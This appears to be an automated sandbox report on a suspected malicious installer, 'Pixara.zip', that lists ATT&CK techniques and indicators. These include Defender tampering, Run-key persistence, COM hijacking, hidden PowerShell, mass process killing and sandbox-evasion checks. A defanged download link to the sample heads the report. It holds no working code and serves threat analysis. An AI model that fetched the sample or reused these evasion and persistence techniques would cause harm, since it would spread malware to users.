hxxps://www[.]dropbox[.]com/scl/fi/dp71kvdtfql268usezgmw/Pixara[.]zip?rlkey=uz8k8bowosq21p9b1v7n5lg1o&st=ivjt28si&dl=1

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "1"	MsMpEng.exe

Windows security bypass 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\TemporaryPaths	MsMpEng.exe

Badlisted process makes network request 4 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
74	2224	powershell.exe
76	2224	powershell.exe
77	5504	powershell.exe
77	5504	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5504	powershell.exe
4988	powershell.exe
2224	powershell.exe
904	powershell.exe
5976	powershell.exe
2472	powershell.exe
1928	powershell.exe
5264	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation	cscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000\Control Panel\International\Geo\Nation	cscript.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Executes dropped EXE 4 IoCs

pid	Process
5268	Pixara.exe
5788	Pixara.exe
5996	Pixara.exe
6044	Pixara.exe

Loads dropped DLL 21 IoCs

pid	Process
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
5268	Pixara.exe
5268	Pixara.exe
5788	Pixara.exe
5788	Pixara.exe
5996	Pixara.exe
5996	Pixara.exe
5996	Pixara.exe
5996	Pixara.exe
5996	Pixara.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

persistence privilege_escalation

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender = "\"%ProgramFiles%\\Windows Defender\\MSASCuiL.exe\""	MsMpEng.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
75	raw.githubusercontent.com
76	raw.githubusercontent.com
77	raw.githubusercontent.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\wbem\AutoRecover\D9B050B7A24E09624652E41AC4639DDE.mof	mofcomp.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\prebuilds\win32-x64\node.napi.node	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\src\main.cpp	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\LICENSES.chromium.html	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\@primno\dpapi\LICENSE	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\deps\sqlite3.gyp	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\src\threading.h	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\en-GB.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\he.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\ml.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\LICENSE	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\@primno\dpapi	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\prebuilds	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\LICENSE.electron.txt	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\v8_context_snapshot.bin	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\vulkan-1.dll	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\hi.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\sl.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\deps	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\src\database.h	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\icudtl.dat	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\af.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\ca.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\da.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\hu.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\nb.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\zh-CN.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\@primno\dpapi\dist	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\elevate.exe	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\src\backup.h	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\src\statement.h	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\pl.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\sk.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\ur.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\build\Release\node_sqlite3.node	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\deps\sqlite-autoconf-3440200.tar.gz	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\fa.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\it.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\nl.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\pt-PT.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\zh-TW.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\src	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\Uninstall Pixara.exe	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\d3dcompiler_47.dll	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\ffmpeg.dll	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\libGLESv2.dll	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\vk_swiftshader_icd.json	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\@primno\dpapi\prebuilds\win32-x64	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\package.json	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\src\dpapi_addon.h	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\sr.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\lib	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\@primno\dpapi\src\dpapi_win.cpp	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\build	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\es.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\tr.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\build\Release	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\sqlite3\package.json	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\en-US.pak	Pixara Setup 1.0.0.exe
File created	C:\Program Files\Pixara\locales\es-419.pak	Pixara Setup 1.0.0.exe
File opened for modification	C:\Program Files\Pixara\resources\app.asar.unpacked\node_modules\datavault-win\dist	Pixara Setup 1.0.0.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\MpCmdRun.log	MpCmdRun.exe
File created	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\MpCmdRun-92-53C9D589-6B66-4F30-9BAB-9A0193B0BAFC.lock	MpCmdRun.exe
File opened for modification	C:\Windows\SERVIC~1\NETWOR~1\AppData\Local\Temp\MpCmdRun.log	MpCmdRun.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
3824	powershell.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5396	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Pixara Setup 1.0.0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1708	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

Command and Scripting Interpreter

T1059

pid	Process
5628	ipconfig.exe

Kills process with taskkill 45 IoCs

defense_evasion

pid	Process
4724	taskkill.exe
5064	taskkill.exe
5408	taskkill.exe
5716	taskkill.exe
4444	taskkill.exe
2960	taskkill.exe
5972	taskkill.exe
5312	taskkill.exe
5560	taskkill.exe
5664	taskkill.exe
3396	taskkill.exe
3284	taskkill.exe
2312	taskkill.exe
4064	taskkill.exe
5528	taskkill.exe
5488	taskkill.exe
444	taskkill.exe
1252	taskkill.exe
4956	taskkill.exe
2320	taskkill.exe
4340	taskkill.exe
5472	taskkill.exe
1904	taskkill.exe
5216	taskkill.exe
5172	taskkill.exe
2820	taskkill.exe
4584	taskkill.exe
5548	taskkill.exe
4028	taskkill.exe
5196	taskkill.exe
5772	taskkill.exe
1452	taskkill.exe
4112	taskkill.exe
1556	taskkill.exe
4128	taskkill.exe
5792	taskkill.exe
5704	taskkill.exe
5164	taskkill.exe
5356	taskkill.exe
5404	taskkill.exe
856	taskkill.exe
4356	taskkill.exe
2132	taskkill.exe
2920	taskkill.exe
1092	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 4 IoCs

adware spyware

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Extension Validation	MsMpEng.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extension Validation\{2781761E-28E0-4109-99FE-B9D127C57AFE}	MsMpEng.exe
Key created	\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Internet Explorer\Extension Validation	MsMpEng.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Extension Validation\{2781761E-28E0-4109-99FE-B9D127C57AFE}	MsMpEng.exe

Modifies data under HKEY_USERS 48 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	MsMpEng.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134267127827579026"	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Defender	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	MsMpEng.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	MsMpEng.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	MsMpEng.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	MsMpEng.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	MsMpEng.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	MsMpEng.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	MsMpEng.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4146128427-3460078792-3629963422-1000\{F150BA04-6423-49AA-B447-15DC16A2103D}	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32\ = "\"%ProgramFiles%\\Windows Defender\\MpOav.dll\""	MsMpEng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{195B4D07-3DE2-4744-BBF2-D90121AE785B}\InprocServer32\ = "\"%ProgramFiles%\\Windows Defender\\DefenderCSP.dll\""	MsMpEng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A7C452EF-8E9F-42EB-9F2B-245613CA0DC9}\InprocServer32\ = "\"%ProgramFiles%\\Windows Defender\\ProtectionManagement.dll\""	MsMpEng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\EPP\ = "{09A47860-11B0-4DA5-AFA5-26D86198A780}"	MsMpEng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Drive\shellex\ContextMenuHandlers\EPP\ = "{09A47860-11B0-4DA5-AFA5-26D86198A780}"	MsMpEng.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Directory\shellex\ContextMenuHandlers\EPP\ = "{09A47860-11B0-4DA5-AFA5-26D86198A780}"	MsMpEng.exe
Key created	\REGISTRY\USER\S-1-5-21-4146128427-3460078792-3629963422-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\InprocServer32\ = "\"%ProgramFiles%\\Windows Defender\\MpOav.dll\""	MsMpEng.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	MsMpEng.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\Implemented Categories\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}	MsMpEng.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3824	powershell.exe
3824	powershell.exe
3824	powershell.exe
4988	powershell.exe
4988	powershell.exe
4988	powershell.exe
1916	Pixara Setup 1.0.0.exe
1916	Pixara Setup 1.0.0.exe
904	powershell.exe
904	powershell.exe
904	powershell.exe
5976	powershell.exe
5976	powershell.exe
5976	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
5264	powershell.exe
5264	powershell.exe
5264	powershell.exe
2472	powershell.exe
2472	powershell.exe
2472	powershell.exe
1928	powershell.exe
1928	powershell.exe
1928	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
2224	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
4664	MsMpEng.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeDebugPrivilege	4988	powershell.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeIncreaseQuotaPrivilege	904	powershell.exe
Token: SeSecurityPrivilege	904	powershell.exe
Token: SeTakeOwnershipPrivilege	904	powershell.exe
Token: SeLoadDriverPrivilege	904	powershell.exe
Token: SeSystemProfilePrivilege	904	powershell.exe
Token: SeSystemtimePrivilege	904	powershell.exe
Token: SeProfSingleProcessPrivilege	904	powershell.exe
Token: SeIncBasePriorityPrivilege	904	powershell.exe
Token: SeCreatePagefilePrivilege	904	powershell.exe
Token: SeBackupPrivilege	904	powershell.exe
Token: SeRestorePrivilege	904	powershell.exe
Token: SeShutdownPrivilege	904	powershell.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeSystemEnvironmentPrivilege	904	powershell.exe
Token: SeRemoteShutdownPrivilege	904	powershell.exe
Token: SeUndockPrivilege	904	powershell.exe
Token: SeManageVolumePrivilege	904	powershell.exe
Token: 33	904	powershell.exe
Token: 34	904	powershell.exe
Token: 35	904	powershell.exe
Token: 36	904	powershell.exe
Token: SeSecurityPrivilege	1916	Pixara Setup 1.0.0.exe
Token: SeShutdownPrivilege	5788	Pixara.exe
Token: SeCreatePagefilePrivilege	5788	Pixara.exe
Token: SeDebugPrivilege	5976	powershell.exe
Token: SeDebugPrivilege	4064	taskkill.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	5528	taskkill.exe
Token: SeDebugPrivilege	5408	taskkill.exe
Token: SeShutdownPrivilege	5788	Pixara.exe
Token: SeCreatePagefilePrivilege	5788	Pixara.exe
Token: SeDebugPrivilege	5472	taskkill.exe
Token: SeDebugPrivilege	5560	taskkill.exe
Token: SeDebugPrivilege	5664	taskkill.exe
Token: SeDebugPrivilege	5716	taskkill.exe
Token: SeDebugPrivilege	5264	powershell.exe
Token: SeIncreaseQuotaPrivilege	5264	powershell.exe
Token: SeSecurityPrivilege	5264	powershell.exe
Token: SeTakeOwnershipPrivilege	5264	powershell.exe
Token: SeLoadDriverPrivilege	5264	powershell.exe
Token: SeSystemProfilePrivilege	5264	powershell.exe
Token: SeSystemtimePrivilege	5264	powershell.exe
Token: SeProfSingleProcessPrivilege	5264	powershell.exe
Token: SeIncBasePriorityPrivilege	5264	powershell.exe
Token: SeCreatePagefilePrivilege	5264	powershell.exe
Token: SeBackupPrivilege	5264	powershell.exe
Token: SeRestorePrivilege	5264	powershell.exe
Token: SeShutdownPrivilege	5264	powershell.exe
Token: SeDebugPrivilege	5264	powershell.exe
Token: SeSystemEnvironmentPrivilege	5264	powershell.exe
Token: SeRemoteShutdownPrivilege	5264	powershell.exe
Token: SeUndockPrivilege	5264	powershell.exe
Token: SeManageVolumePrivilege	5264	powershell.exe
Token: 33	5264	powershell.exe
Token: 34	5264	powershell.exe
Token: 35	5264	powershell.exe
Token: 36	5264	powershell.exe
Token: SeShutdownPrivilege	5788	Pixara.exe
Token: SeCreatePagefilePrivilege	5788	Pixara.exe
Token: SeIncreaseQuotaPrivilege	5264	powershell.exe
Token: SeSecurityPrivilege	5264	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
1996	msedge.exe
